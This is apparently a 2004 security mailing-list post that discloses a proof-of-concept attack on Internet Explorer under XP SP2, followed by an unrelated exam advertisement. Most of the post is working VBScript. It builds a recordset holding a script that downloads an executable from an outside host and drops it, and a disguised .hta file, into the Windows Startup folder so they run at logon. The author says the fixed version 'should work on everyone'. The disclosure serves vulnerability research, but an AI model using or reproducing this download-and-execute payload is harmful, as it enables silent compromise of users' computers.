sorry there was a bug in the code. I just fixed it now should work on everyone
----- Original Message -----
From: Michael Evanchik
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM ; vulnwatch@vulnwatch.org ;
Exploits@k-otik.com ; Vuln@k-otik.com ; send-us-news-tips@cnet.com
Cc: tk@secunia.com ; support@secunia.com ; secure@microsoft.com
Sent: Monday, December 27, 2004 1:53 AM
Subject: Re: YET AGAIN Automatic remote compromise of Internet Explorer
Service Pack 2 XP SP2
PoC: http://www.michaelevanchik.com/security/microsoft/ie/xss/index.html
Here is some new adodb code AVP's should add. No longer needed to connect to
external source. Malicious recordset can be built locally.
on error resume next
set evanchik = CreateObject("ADODB.Recordset")
With objRS
.Fields.Append "evanchik", 200, "3000"
Call .Open
Call .AddNew
.Fields("evanchik").Value = "meaning less shit i had to put here"
Call .AddNew
.Fields("evanchik").Value = "<script language=vbscript>: on error
resume next : set o = CreateObject(""msxml2.XMLHTTP"") : o.open
""GET"",""http://hometown.aol.com/mcbain/calc.exe"",False : o.send : set s =
createobject(""adodb.stream"") : s.type=1 : s.open : s.write o.responseBody :
s.savetofile ""C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\RealAudio.exe"",2 : </script>"
Call .Update
End With
evanchik.Save "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
evanchik.Close
--
Editor's Note: The 43rd Most Powerful Person in Networking says...
Register today to take the TruSecure ICSA exam by 12/31/04 at
<http://www.2test.com> , use promo code "CT1204" and you will pay just
$221.25 US Dollars for domestic exam delivery and $296.25 US Dollars
for international delivery.
Visit <https://ticsa.trusecure.com> for complete details regarding the
TICSA credential and to take the free sample exam.
--
